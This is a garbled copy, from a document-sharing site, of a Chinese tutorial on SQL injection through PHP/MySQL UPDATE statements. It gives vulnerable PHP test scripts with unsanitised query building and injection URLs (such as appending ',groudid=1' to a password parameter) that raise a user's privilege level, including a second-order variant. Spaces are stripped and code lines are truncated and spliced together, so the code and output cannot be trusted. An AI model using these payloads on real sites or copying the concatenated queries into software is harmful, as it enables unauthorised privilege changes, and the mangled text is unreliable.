资源描述:
《update注射(mysql+php)的两个模式》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库。
1、UPDATE注射(mysql+php)的两个模式~教育资源库 一.测试环境: OS:yISAMDEFAULTCHARSET=latin1; -- --导出表中的数据`userinfo` -- INSERTINTO`userinfo`VALUES(2,heige,123456); ------end------- 三.测试模式: 1,变量没有带或[MOD1] <?php //test1.phpMod1 $servername=localhost; $dbusername=root; $dbpasse=te
2、st; mysql_connect($servername,$dbusername,$dbpassysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo<p>SQLQuery:$sql<p>; ?> 脚本里只是修改user=heige的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p来达 到修改groupid的目的: 那么我们提交:127.0.0.1/test1.php?p=123
3、456,groudid=1 在mysql里查询:mysql>select*fromuserinfo; +---------+-------+--------+
4、groudid
5、user
6、pass
7、 +---------+-------+--------+
8、1
9、heige
10、123456
11、 +---------+-------+--------+ 1roe=localhost; $dbusername=root; $dbpasse=test; mysql_connect($servername,$db
12、username,$dbpassword)ordie(数据库连接失败); $sql=updateuserinfosetpass=$pwhereuser=heige;//<--$P使123下一页友情提醒:,特别!用单引号 $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo<p>SQLQuery:$sql<p>; ?> 为了关闭我们构造$p应该为123456,groudid=2提交:
13、 127.0.0.1/test2.php?p=123456,groudid=1在gpc=on的情况下变成了 提交的语句变成:SQLQuery:updateuserinfosetpass=123456,groudid=1ysql查询:mysql>select*fromuserinfo; +---------+-------+--------------------+
14、groudid
15、user
16、pass
17、 +---------+-------+--------------------+
18、2
19、h
20、eige
21、123456,groudid=1
22、 +---------+-------+--------------------+ 1roe=localhost; $dbusername=root; $dbpasse=test; mysql_connect($servername,$dbusername,$dbpassysql_db_query($dbname,$sql); mysql_fetch_array($result); //$p的数据写入数据库 $sql=selectpassfromuserinfoysql_db_
23、query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo$userinfo[0]; //把pass查询输出给$userinfo[0] $sql=updateuserinfosetpass=$userinfo[0]ysql_db_query($dbname,$sql); mysql_fetch_array($result);//把$userinfo[0]再次update ?> 我们测试下,提交:127.0.0.1/test3.php?p=123456,
24、groudid=1 回mysql查询下:mysql>select*fromuserinfo; +---------+-------+--------+
25、groudid
26、user
27、pass
28、